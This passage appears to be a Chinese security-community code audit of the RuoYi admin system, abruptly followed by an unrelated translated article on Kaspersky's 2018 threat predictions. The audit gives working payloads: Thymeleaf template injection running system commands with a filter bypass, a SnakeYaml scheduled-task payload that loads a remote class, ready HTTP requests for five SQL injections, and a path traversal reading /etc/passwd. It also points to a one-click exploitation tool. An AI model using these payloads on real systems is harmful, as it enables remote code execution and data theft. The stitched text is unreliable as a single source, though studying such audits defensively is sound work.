public String hello(@PathVariable("name") String name,
@PathVariable("sex") String sex){
return "Hello" + name + sex;
}
}
**2、return内容可控**
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
视角转回到本项目。
根据上面两个关注点，对 若依v4.2 进行了一番探索。并没有发现存在Thymeleaf模板注入漏洞点。
但在若依v4.7.1 发现存在 return内容可控 的情况。为了学习该漏洞，下面以若依v4.7.1版本进Thymeleaf模板注入代码审计学习。
在若依v4.7.1的
RuoYi-v4.7.1\ruoyiadmin\src\main\java\com\ruoyi\web\controller\monitor
下多了一个CacheController.java 文件。该文件下有多个地方 Return内容可控 ，如下图所示：
简单理解：接收到 fragment 后，在return处进行了模板路径拼接。
根据代码我们知道根路径为 /monitor/cache ，各个接口路径分别为 /getNames ， /getKeys ， /getValue 。请求方法为
POST ，请求参数均为fragment 。
**漏洞验证：**
Thymeleaf模板注入payload举例：
return内容可控：
__${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI
nputStream()).next()}__::.x
URL路径可控：
__${T(java.lang.Runtime).getRuntime().exec("touch test")}__::.x
本次漏洞验证我在Windows环境下进行的。
注意： 若依v4.7.1 搭建部署与 若依v4.2 相同，数据库导入务必使用 sql 目录
下的 ry_20210924.sql 和 quartz.sql 。先导入 ry_20210924.sql 。
我们以 getKeys 接口为例，该漏洞点为 return内容可控 ，具体漏洞验证如下。
①、正常启动项目，进入后台。我们发现在 系统监控下有个缓存监控 的功能，和代码审计发现的 CacheControlle
代码文件中功能注释一样。初步确定两者相同。
②、访问缓存监控功能。进入后，分别点击 缓存列表 和 键名列表 旁的刷新按钮，会分别想 getNames ， getKeys 接口发送数据。如下图所示：
访问<http://127.0.0.1/monitor/cache/>，抓“刷新”按钮的数据包：
③、将数据包发送到Repeater模块，在 fragment 参数后构造攻击payload为 **${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe") }** ::.x
，对paylod进行URL编码后。发送数据包。响应报错，而且并没有弹出来计算 器。如下图所示：
找了半天原因，发现 若依v4.7.1 版本使用的是 Thymeleaf3.0.12 版本。
官方在这个版本进行了一些限制，比如使用new实例化，静态方法调用都被限制了。还有其他一些限制，详细可看<https://github.com/thymeleaf/thymeleaf/issues/809>
。下图为谷歌机翻，大致可以看一下
因此，我们刚开始用的Payload是被限制了。
经过一顿操作猛如虎，其实谷歌就能有。
我们将Payload改造一下，如 ${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
。在T和(之间多加几个空格即可。
对Payload进行URL编码后，放入 fragment
参数中，可以看到弹出了计算器，如下图所示：(注意这里的cacheName不能为空，可以随便输入一个)
**触发点二：/demo/form/localrefresh/task**
在src/main/java/com/ruoyi/web/controller/demo/controller/DemoFormController.java文件中还有一个触发点：
抓包改为POST，其实这里不编码也可以成功，${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
至此，漏洞验证部分结束。
希望大家在这基础上，进一步学习Thymeleaf模板注入漏洞。直接推荐一篇文章：
<https://xz.aliyun.com/t/9826>
<https://forum.butian.net/share/1922>
### 1.3、 Fastjson组件漏洞
本项目使用了 Fastjson 1.2.60 ， Fastjson <= 1.2.68 都是存在漏洞的。
已确定了Fastjson版本存在问题，进一步寻找触发Fastjson的漏洞点。我们关注两个函数 parse 和 parseObject 。
搜索关键字发现本项目使用了 parseObject ，如下图所示：
我们发现本项目使用的是 JSONObject.parseObject 方法，与第三套迷你天猫商城中 JSON.parseObject()
方法有所不同。JSONObject是一个继承自JSON的类，当调用JSONObject.parseObject（result）时，会直接调用父类的parseObject（String
text）。两者也没什么区别，一个是用父类去调用父类自己的静态的parseObject（String
text），一个是用子类去调用父类的静态parseObject（String text），两者调的是同一个方法。也是可以触发Fastjson反序列化漏洞的。
下面我们追踪下流程，看看是否有接收用户输入的地方。
①、双击进入 VelocityUtils.java ，第66行。代码如下图所示：
②、从代码中看到 JSONObject.parseObject(options); 需要一个参数为
options ，该参数通过第65行发现来自 genTable.getOptions(); ，ctrl加鼠标左键跟进， getOptions() 返回值为
options ，如下图所示：
③、继续跟进 options ，根据作者注释理解这是一个 其它生成选项 的字段。如下图所示：
④、我们回过头来，追溯下功能点。跟进 setTreeVelocityContext ，发现是prepareContext 中调用了它，如下图所示：
其中涉及到了一个判断条件，跟进一下，看如何触发该条件。跟进
GenConstants.TPL_TREE ，看到定义了一个常量字符为 tree 。如下图所示：
再跟进下 tplCategory ，该值来自于 genTable.getTplCategory(); 如下图所示：
进入 genTable.getTplCategory(); 后，看到 getTplCategory() 返回值就是tplCategory ，如下图所示：
继续跟进 tplCategory ，根据作者注释，这应该是一个使用模板的字段。该字段应该有两个值，一个是 crud ，一个是 tree
。所以我们再找到功能点时，应该将这个字段值设为 tree ，如下图所示：
中间穿插跟了下判断条件，我们继续追踪功能点。
⑤、回到 prepareContext() 方法，我们看下谁调用了他，发现
GenTaleServiceImpl.java 中第187行和250行都有所调用，如下图所示：
⑥、单击进入 GenTaleServiceImpl.java 第187行，发现是 previewCode 方法使用了
VelocityUtils.prepareContext(table); ，其中 table参数 来自
genTableMapper.selectGenTableById(tableId); 根据 tableId 查询表信息返回的数据，如下图所示：
也就是说，我们只能操控 tableId 参数。继续跟踪一下 previewCode ，如下图所示：
⑦、（此处省略跳转到genTableService，无关紧要）ctrl加鼠标左键点击
previewCode 继续跟进，跳转到了 GenController 层，发现是 preview
使用了genTableService.previewCode(tableId); 。如下图所示：
并且通过注释信息了解到该功能是 预览代码 ，路径是/tool/gen/preview ，从路径中获取 tableId 。
既然这样，这条链是没办法利用Fastjosn反序列化漏洞了。
梅开二度，找条别的链，继续试试。
追踪了刚才搜索的四个点，发现 GenTaleServiceImpl.java 第286行这个参数是我们可以操控的。
追踪流程如下。
①、 GenTaleServiceImpl.java 第286行JSONObject.parseObject(options);处理 options
参数，该值来自 String options = JSON.toJSONString(genTable.getParams()); ，如下图所示：
②、跟进 genTable.getParams() ，跳转到了 BASEEntity.java 代码中，因为Gentable 继承 BASEEntity
。根据判断条件，如果 params不等于null 的话，直接返回 params 。跟进 params ，注释表明该字段为 请求参数 ，并且 params
被定义成 Map<String, Object> ，可以理解为params字段中可以传任何类型的值在里面。如下图所示（为便于截图展示，删除了部分代码）：
③、回到 GenTaleServiceImpl.java ，查看谁调用了 validateEdit ，跳转到了IGenTaleService
第99行处，如下图所示：
④、继续跟进 validateEdit ，跳转到了 GenController 层第142行，如下图所示：
至此，我们将这条链追踪完了。确定了功能点为代码生成处的 修改保存生成业务 ，我们主要关注 params 这个字段。
### 1.4、 SnakeYaml组件漏洞
SnakeYaml在Java中，是用于解析YAML格式的库。
在第三方组件漏洞审计处，确定了SnakeYaml版本为1.23，被定为存在漏洞。
事实上，SnakeYaml几乎全版本都可被反序列化漏洞利用。
#### 1.4.1、漏洞简述
SnakeYaml支持反序列化Java对象，所以当 Yaml.load()
函数的参数外部可控时，攻击者就可以传入一个恶意类的yaml格式序列化内容，当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。全局搜索漏洞函数关键字，发现本项目并没有使用到
Yaml.load() 函数，
如下图所示：
该漏洞可以和本项目定时任务配合打出RCE效果。在这之前，请可拓展学习下篇文章，补一下基础。
<https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/>
#### 1.4.2 定时任务处漏洞
**审计定时任务**
在项目简介中，我们了解到本项目中有使用到定时任务功能。 又根据官方文档的文件结构处，我们了解到本项目定时任务功能在 ruoyi-quartz 模
块下，使用的是 quartz 框架。如下图所示：
进入 ruoyi-quartz 模块 src\main\java\com.ruoyi.quartz 下，我们先关注controller 文件代码。我们知道
Controller 也是控制层，主要负责具体的业务模块流程的控制，简单说就是与前台互交，接受前台传来的参数后，再向 Service层 传输。
打开 controller 文件下，有两个代码文件，分别是 SysJobController 和SysJobLogController
。根据代码注释了解了大致作用，如下图所示：
现在，我们对 SysJobController下的run方法 进行追踪，根据注释该方法为任务调 度立即执行一次，如下图所示：
Ctrl加鼠标左键点击 jobService.run(job) ，进入Service层后，无其他执行代码，继续跟踪到实现层，最终代码位于
RuoYi-v4.2\ruoyiquartz\src\main\java\com\ruoyi\quartz\service\impl\SysJobServiceImpl.java
第180行到188行。如下图所示：
第182,183行作用为通过调度任务ID查询调度信息。
第185行，实例化了 JobDataMap 。 JobDataMap 通过它的超类org.quartz.util.DirtyFlagMap
实现了java.util.Map 接口，你可以向 JobDataMap 中存入键/值对，那些数据对可在你的 Job 类中传递和进行访问。这是一个向你的
Job 传送配置的信息便捷方法。简单说，Job 运行时的信息保存在 JobDataMap 实例中。
最终在第187行，使用 scheduler.triggerJob(JobKey var1, DataMap var2)
为触发标识JobDetail（立即执行）。 JobDetail 用来描述Job的实现类及其它相关的静态信息，如Job名字、描述、关联监听器等等信息。其中
triggerJob() 方法需要两个参数，分别为 Jobkey 和 dataMap 。 dataMap 来自上面输入的运行时信息。而此处的 Jobkey
是JobDetail创建的的唯一标识。简单说，到了这就开始执行定时任务
了。
但最终方法的调用是在 QuartzDisallowConcurrentExecution 或QuartzJobExecution
中用JobInvokeUtil.invokeMethod(sysJob); 反射完成的。
QuartzDisallowConcurrentExecution 或 QuartzJobExecution
两者区别根据代码注释可以知道一个禁止并发执行，一个允许并发执行。这两个参数也是可以从前端中设置的。但不论那种，最终都是调用的
JobInvokeUtil.invokeMethod(sysJob); 。
进入 JobInvokeUtil.invokeMethod(sysJob); ，最终方法实现如下图所示：
解读一下。
①、第25行到28行，为获取处理数据，打个端点可以直观看出来，如下图所示（建议自己动手操作看一下）：
②、第30到39行，有一个判断。若依支持两种方式调用，分别为支持 Bean 调用和Class 类调用。此处判断我理解为通过 beanname
判断是否为有效的classname。也就是调用目标字符串是使用 bean 方式调用，还是使用 Class 方式调用。
此处，可以创建两种方式的目标字符串后，在 if(!isValidClassName(beanName)) 处打个断点，分别执行跟踪一下，就能看明白了。
另一种调用方式，大家动手自己打个断点操作一下。进入管理系统，访问 系统监控 -定时任务 ，选择bean方式调用的任务，点击 更多操作 - 执行一次 。
至此，定时任务流程到这就结束了。他是如何RCE的呢？
**漏洞简述**
在对定时任务代码审计时发现该功能存在漏洞。在
添加任务->调用目标字符串处可操作class类，通过代码审计发现使用的反射方式，也就是说目标class类存在漏洞的话即可 利用反射触发RCE漏洞。
**漏洞验证**
在代码审计处，我们知道如果是调用class类，最终执行为 Object bean =
Class.forName(beanName).newInstance(); 。 问题来了，如果此处想要成功实例化并且RCE的话，那么必须满足几个条件：
1、类的构造方法为Public
2、类的构造方法无参
3、调用目标字符串的参数为：支持字符串，布尔类型，长整型，浮点型，整型
4、调用目标方法除了为Public，无参，还需要具有执行代码/命令的能力
有的朋友一开始会想到调用 java.lang.Runtime.getRuntime().exec("") 。但经
过上面条件的梳理，发现该类不满足条件，因为他的构造方法是private。
在组件检测时发现了本项目使用了 SnakeYaml 。经过学习我们知道，该组件只要可以 控制 yaml.load() 即可触发反序列漏洞。 经过探索学习，
SnakeYaml的yaml.load() 是满足以上条件的，具体操作如下。
**基础验证**
①、先登录DNSlog平台，获取一个DNSlog地址。
②、然后进入后台，访问 系统监控-定时任务 功能，点击新增，在目标字符串下添加如 下内容（即攻击payload）：
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager
[!!java.net.URLClassLoader [[!!java.net.URL ["ftp://此处填入DNSlog地
址"]]]]')
③、点击确定后，在该页面点击 更多操作-立即执行 后，即可在DNSlog处看到探测信 息，如下图所示：
**利用工具进一步攻击**
推荐一款若依一键利用工具。项目地址： <https://github.com/passer-W/Ruoyi-All> 根据该工具介绍如下图所示：
①、打开该工具后，填写一些配置，其中包括目标URL和Cookie，如下图所示：
②、然后点击确定，即开始漏洞检测。存在漏洞提示如下图所示：
## 2、单类漏洞审计
### 2.1、SQL注入
#### 2.1.1、注入点一
POST /system/role/list HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 152
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/system/role
Cookie: JSESSIONID=d87f8245-697f-4f62-94f3-072abe50be83;
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
roleName=&roleKey=&status=0¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=&pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc¶ms%5BdataScope%5D=*
单点漏洞代码审计首当其冲当然要先看SQL注入漏洞是否存在，全局搜索关键字 $ ，并限定文件类型为 .xml ，发现 sysDeptMapper.xml 和
sysUserMapper.xml 有存在SQL注入的地方，如下图所示：
①、点击进入 SysRoleMapper.xml ，SQL注入点在第58行，使用 $ 直接拼接了参 数，如下图所示：
②、点击左侧箭头快速跳转到DAO层（IDEA中需要安装Free Mybatis plugin插件），如下 图所示 ：
③、键盘按住Ctrl加鼠标左键，点击 selectRoleList ，查看谁调用了它。最终来到 SysRoleServiceImpl 的实现层，如下图所示：
④、进入 SysRoleServiceImpl 后，再回溯到 SysRoleService 层，可使用左侧快 速跳转按钮。或者选中
selectRoleList 后使用快捷键 ctrl+u ，如下图所示：
⑤、键盘按住Ctrl加鼠标左键，点击 selectRoleList ，回溯到 Controller 层，最 终发现是 SysRoleController
调用了这个方法，如下图所示：
⑥、点击进入，最终定位到src\main\java\com\ruoyi\web\controller\system\SysRoleController.java
，第58行和第68行都有调用，如下图所示：
⑦、键盘按住Ctrl加鼠标左键，点击 SysRole ，进入看看定义了哪些实体类，其中发现了 DataScope ，如下图所示：
这里学个小知识：
一对一映射，规定一个用户只能对应一个角色，其实在实际的RBAC权限系统中，一个用户往往对应多个角色，然后每个角色用对应多个权限，基于实际需求，现在通过用户-角色-权限这种一对多的关系来说明一对多映射实现方式。
**一、collection 集合的嵌套结果映射**
和association类似，集合的嵌套结果映射就是指通过一次 SQL 查询将所有的结果查询出来，然后通过配置的结果映射，将数据映射到不同的对象中去 。
在SysUser类中增加 List<sysrole> roleList 属性用于存储用户对应的多个角色。如下：</sysrole>
⑧、回顾追溯流程
回顾下整理流程，如下所示：sysRoleMapper.xml -> SysRoleMapper.java ->
SysRoleServiceImpl.java -> ISysRoleService.java ->
SysRoleController.java->SysRole.java
sysRoleMapper.xml：注入点
SysRoleMapper.java：DAO层
SysRoleServiceImpl.java：执行 ISysRoleService实体类
ISysRoleService.java：Service接口类
SysRoleController.java：控制器
SysRole.java：定义实体类
这里再强调一下之前说过的请求过程：
简单说，我们从 XxxxMapper 文件追踪到 Controller 层，主要就是在找漏洞入口。顺带看看整个流程是否对参数有特殊处理。
⑨、汇总信息
最后，我们将追溯的过程，以及有用的信息汇总一下。
通过Controller层，我们可以知道，漏洞URL路径为 /system/role/list
通过Service层和Controller层的注释，我们大致知道该功能位于角色信息处。
访问WEB页面，发现名叫角色管理的功能。 当然了，如果我们没有找到功能，也完全可以自己构造数据包。
①、访问 角色管理 功能，通过点击下面的各个按钮，并配合BurpSuite抓包，发现 搜索 功能，会向 /system/role/list
接口发送数据，如下图所示：
②、发送到Repeater模块，发现请求Body中没有 DataScope ，没关系，我们照葫芦画 瓢自己添加上，最终如下图所示：
③、输入 单引号(') ，验证是否存在漏洞，发现返回了报错信息，如下图所示：
④、直接上SQLMAP，最终结果如下图所示：
#### 2.1.2、注入点二
这个注入点有好几个地方可以调用利用，可以自行研究，这里只举出一条
POST /system/dept/list HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 41
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/system/dept
Cookie: JSESSIONID=197e09c3-c430-457e-89dc-700649018614
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
deptName=&status=¶ms%5BdataScope%5D=*
注入点位置：src/main/resources/mapper/system/SysDeptMapper.xml文件第51行，且追溯流程和注入一类似，这里就不过多描述了，如下：
注意，这里我们来到了控制器，控制器里可以对照到URL路径/system/dept/list，接下来去查看SysDept中包含了哪些实体类，发现并没有dataScope
这里我们先去后台抓包，后台->部门管理->搜索按钮，抓包如下：
可以看到这里默认只有deptName=&status=这两个参数，并且在实体类中也并没有dataScope，所以这里我们自己构造一下，把他加上去：
直接丢SQLmap，如下：
#### 2.1.3、注入点三
注入点位置：src/main/resources/mapper/system/SysUserMapper.xml文件第83行。
后台位置：用户管理->搜索按钮
POST /system/user/list HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 175
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/system/user
Cookie: JSESSIONID=197e09c3-c430-457e-89dc-700649018614
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
deptId=&parentId=&loginName=&phonenumber=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=&pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc¶ms%5BdataScope%5D=*
#### 2.1.4、注入点四
注入点位置：src/main/resources/mapper/system/SysUserMapper.xml文件第100行。
后台位置：角色管理->更多操作->分配用户
POST /system/role/authUser/allocatedList HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 114
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/system/role/authUser/1
Cookie: JSESSIONID=197e09c3-c430-457e-89dc-700649018614
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=1&loginName=&phonenumber=¶ms%5BdataScope%5D=*
#### 2.1.5、注入点五
注入点位置：src/main/resources/mapper/system/SysUserMapper.xml文件第118行。
后台位置：角色管理->更多操作->分配用户->添加用户这个数据包
POST /system/role/authUser/unallocatedList HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 114
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/system/role/authUser/selectUser/1
Cookie: JSESSIONID=197e09c3-c430-457e-89dc-700649018614
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=1&loginName=&phonenumber=¶ms%5BdataScope%5D='
### 2.2、任意文件读取/下载漏洞代码审计
需要登陆
GET /common/download/resource?resource=/profile/../1.txt HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=fa4b3bdd-e507-462a-a155-a2adf4842470;
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
一般开发人员也都有比较好的习惯，对于注释方面写的也比较清楚。
我拿到一个项目，习惯大致浏览下项目代码（主要看注释），梳理下功能。
在本项目中，发现存在一处下载功能。
代码位于
RuoYi-v4.2\ruoyiadmin\src\main\java\com\ruoyi\web\controller\common\CommonController.java
第96行-第111行。通过注释一目了然该部分代码的作用。如下图所示：
通过全局搜索关键字 resourceDownload ，发现并没有其他功能调用他。
既然这样，只能分析代码，自己构造请求了。
①、首先，漏洞代码点位于第110行，使用了 FileUtils.writeBytes()
方法输出指定文件的byte数组，即将文件从服务器下载到本地。其中该函数中有两个参数，分别为 downloadPath 和
response.getOutputStream() 。
getOutputStream() 方法用于返回Servlet引擎创建的字节输出流对象，Servlet程序可以按字节形式输出响应正文。
②、 downloadPath 来自第103行，是由 localPath 和StringUtils.substringAfter(resource,
Constants.RESOURCE_PREFIX); 组成。
StringUtils.substringAfter() 方法为取得指定字符串后的字符串。 resource是请求中接收参数的字段。
Constants.RESOURCE_PREFIX 为设置的常量 /profile ，主要作用为资源映射路径的前缀。
③、 localPath 来自第101行注释为 本地资源路径 ，通过打个端点，我们可以看到localPath: D:/ruoyi/uploadPath
，是从src\main\resources\application.yml 配置文件中第12行文件路径中获取的。
这里关于路径单独把代码拿出来再说一遍：
// 本地资源路径
String localPath = Global.getProfile(); //最终localPath = D:/ruoyi/uploadPath
// 数据库资源地址
String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);
把上面这句拆开：
Constants.RESOURCE_PREFIX //这个东西是写死了的，是常量/profile
StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX); //StringUtils.substringAfter() 方法为取得指定字符串后的字符串； resource是请求中接收参数的字段。
所以这句话的意思是：取得请求中resource后面传过来的常量/profile后面的字符串
例子：
比如请求是：http://127.0.0.1/?resource=/profile/a/b/c.jsp
那经过“StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX)”处理后就变成了/a/b/c.jsp
所以这里要下载的文件地址为downloadPath = localPath(D:/ruoyi/uploadPath) + “/?resource=/profile后面传入的字符串”
第③点如下图所示：
④、通过第96行，知道接口路径为 /common/download/resource ，仅接受GET请 求。
⑤、通过第97行， String resource 知道接收参数值的为 resource 。
汇总下信息。首先应该知道，处理整个文件流程，是没有任何防护的。根据接口路径和接收参数字段组合为
/common/download/resource?resource= 。根据 StringUtils.substringAfter()
方法为取得指定字符串后的字符串，其中指定的字符串为 /profile 。也就是取得 /profile 之后的字符串。那么最终，漏洞Payload为
<http://127.0.0.1/common/download/resource?>resource=/profile/../../../../etc/passwd
。具体几个 ../ 要看实际设置目录的深度。 | 社区文章 |
# 卡巴斯基发布2018年威胁预测，威胁情报共享成网络安全新趋势
##### 译文声明
本文是翻译文章，文章原作者 郭佳，文章来源：宅客频道
原文地址：[https://mp.weixin.qq.com/s?__biz=MzA4ODUxNjIwMg==&mid=2654328357&idx=2&sn=a93825d8e0a88fa102130198c2f92f17](https://mp.weixin.qq.com/s?__biz=MzA4ODUxNjIwMg==&mid=2654328357&idx=2&sn=a93825d8e0a88fa102130198c2f92f17)
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
宅客频道编者按：作为卡巴斯基实验室的网络安全分析团队，“GReAT”每年都会根据对全球的网络攻击状况进行研究，发表针对下一年的威胁预测。近日，他们发布了对
2018 年的威胁预测，雷锋网选取了部分内容进行编译整理。
想看原版的读者请移步文末查看参考来源。
## 会出现更多的供应链攻击
如果从防守方来看，企业或者个人为了保护自己的网络安全，往往使用了强大的网络安全防护体系，用于抵御黑客的 APT （高级持续性威胁）攻击。
要知道，对付这些手握丰富武器库（零日漏洞、无文本攻击工具等）的黑客，并不是一件容易的事情。
卡巴斯基发现，在一些 APT攻击中，由于攻击目标使用了强大的网络安全防护体系，并对员工进行了良好的安全教育，使得黑客的攻击屡屡失败。
但是，这些黑客并未轻易放弃，一直在寻找方法继续入侵。他们重新评估形势后发现，“供应链攻击”比直接进攻更有效。
什么是供应链攻击？
简单来说，就是披着合法软件外衣的攻击行为，如影响百万电脑的暗云Ⅲ恶意软件，隐藏在正规刷机软件中的异鬼II，以及被爆盗用国内某终端管理软件数字签名的
Kuzzle 恶意软件……很多我们充分信任的软件都沦陷过，因为第三方软件可能是一个更容易的目标，他们可以利用它来攻击受到更好保护的原始目标企业。
在2017年，有这样一些案例：
**Shadowpad**
**CCleaner**
**ExPetr / NotPetya**
这些攻击很难识别。例如，在 Shadowpad
的案例中，攻击者成功地利用Netsarang软件携带恶意软件程序包，在世界各地传播，尤其是银行、大型企业和其他垂直行业。
在很多情况下，它们都是命令和控制（C&C）流量，毕竟用户很难察觉到干净的程序包和携带恶意代码的程序包的差异。
在CCleaner案例中，估计有超过200万台电脑被感染，这使它成为2017年最大的供应链攻击之一。
研究人员分析了恶意的CCleaner代码后，将它与其他一些已知的后门程序联系起来，这些后门程序被APT组织“Axiom
umbrella”（APT17，也叫Aurora）使用过。这证明了APT组织愿意为了实现其目标拉长战线。
“GReAT”认为，目前的“供应链攻击”数量可能比我们了解到的要高得多，只是这些还没有被暴露出来。
## 会出现更多高端的移动恶意软件
2016 年 8 月，CitizenLab 和 Lookout 公司公布了一份名为“Pegasus”的移动间谍平台的分析报告。
Pegasus 是一款所谓的“合法拦截”软件套件，被一家名为“NSO Group”的以色列公司出售给政府和其他实体企业。
Pegasus 能结合多个零日漏洞，远程绕过 iOS
等系统的安全防御。它被认为是目前为止最危险的间谍软件之一，可以通过短信息进行控制，并具有自毁功能。此外，它还能抓取大量通信数据、WhatsApp
通话和消息记录、以及来自 Gmail、Facebook、Skype 和 Twitter
等有价值的数据。除此之外，它还能控制设备的摄像头和麦克风，并记录键盘，捕获截图。
总之，如果你的手机被这款恶意软件所控制，绝对可以上演一部现实版《楚门的世界》。
除Pegasus 外，许多其他APT组织也开发了专属的移动恶意软件。由于iOS是一个特殊的操作系统，用户很难检查他们的手机是否被感染。
总之，由于遥测技术的缺陷，一些移动恶意软件难以被发现和根除，现还未被发现的移动恶意软件的总数，可能比已经公布的要多。
## 会出现更多类似 BeEF 的 web 框架分析工具
随着网络安全意识的不断提高，各大互联网公司都拥有了强大的安全团队，这致使零日漏洞的发现越来越难，价格也在近两年水涨船高。
例如，世界著名漏洞军火商 Zerodium 最近表示愿意出价150万美元购买一套完整的
iPhone（iOS）持续性攻击的远程越狱漏洞，即在没有任何用户交互的情况下，远程感染目标设备。现在，你估计会对黑客陈良有不一样的认识了吧，[黑客陈良首次揭秘如何越狱
iPhone X
：乔布斯的苹果终有缺口](http://mp.weixin.qq.com/s?__biz=MzA4ODUxNjIwMg==&mid=2654328299&idx=1&sn=20e16f3b5692d565898cc719ce357154&chksm=8be986eebc9e0ff8b8f668172952771ca19287a09492dd9c2b9bc07c9a0840b2083a1e2eccfe&scene=21#wechat_redirect)。
这也意味着，攻击者在攻击前需要经历一个更缜密的分析过程。
例如，侦察阶段可以强调识别目标、操作系统、插件和其他第三方软件使用的浏览器的准确版本。
凭借这些信息，攻击者可以针对目标特性调整他们的开发方式，交付一个不太敏感的将“1-day”或“N-day”的漏洞，而不是被誉为“皇冠上的宝石”的“0-day”漏洞。
类似于 Turla、Sofacy 和 Newsbeef 这样的 APT
组织已把这类分析技术运用得相当熟练，其他的APT组织也以其自定义的分析框架而闻名，比如多产的 Scanbox 。
由于分析框架的普遍性和零日漏洞的高昂代价，我们可以估计在2018年使用“BeEF”之类的分析工具包将会增加，更多的黑客团队可能采用公共框架，或者自己开发工具包。
## 会出现先进的 UEFI 和 BIOS 攻击
UEFI
(统一可扩展固件接口)是一种软件接口，是现代pc机与操作系统之间的媒介。由英特尔在2005年开发，正在迅速取代传统的BIOS标准。这是因为BIOS缺乏一些高级特性：例如，安装并运行可执行文件、网络功能、加密、CPU独立架构和驱动程序等能力。
而 UEFI 可以弥补BIOS缺乏的这些能力，这使得 UEFI 成为一个有吸引力的平台，攻击者也在其中找到许多在 BIOS 平台上并不存在的新漏洞。
例如，运行自定义可执行模块的能力使得它能够创建恶意软件，而由UEFI直接执行就能绕过任何反恶意软件解决方案。
从 2015 年开始，商业级的UEFI恶意软件就已经存在了。但是， 到目前为止仍然缺少针对这类恶意软件的成熟的、可靠的检测方法。
我们预计，在 2018 年，将会看到更多基于UEFI的恶意软件。
## 破坏性的攻击仍在继续
从2016年11月开始，卡巴斯基实验室观察到一波针对中东地区多个目标的“雨刷攻击”。
在新的袭击中使用的恶意软件是臭名昭著的 Shamoon 蠕虫病毒的变种，该蠕虫在2012年袭击了 Saudi Aramco 和 Rasga
s公司，2012年，这种病毒出现时，它的攻击目标是能源企业或能源部门，它能将受感染 Windows机器中的数据永久删除。
在袭击当天，一群被称为“正义之剑”的组织发布了一份巴氏(Pastebin)信息，并对Saudi Aramco发动攻击，并称此次袭击是针对沙特王室的一项举措。
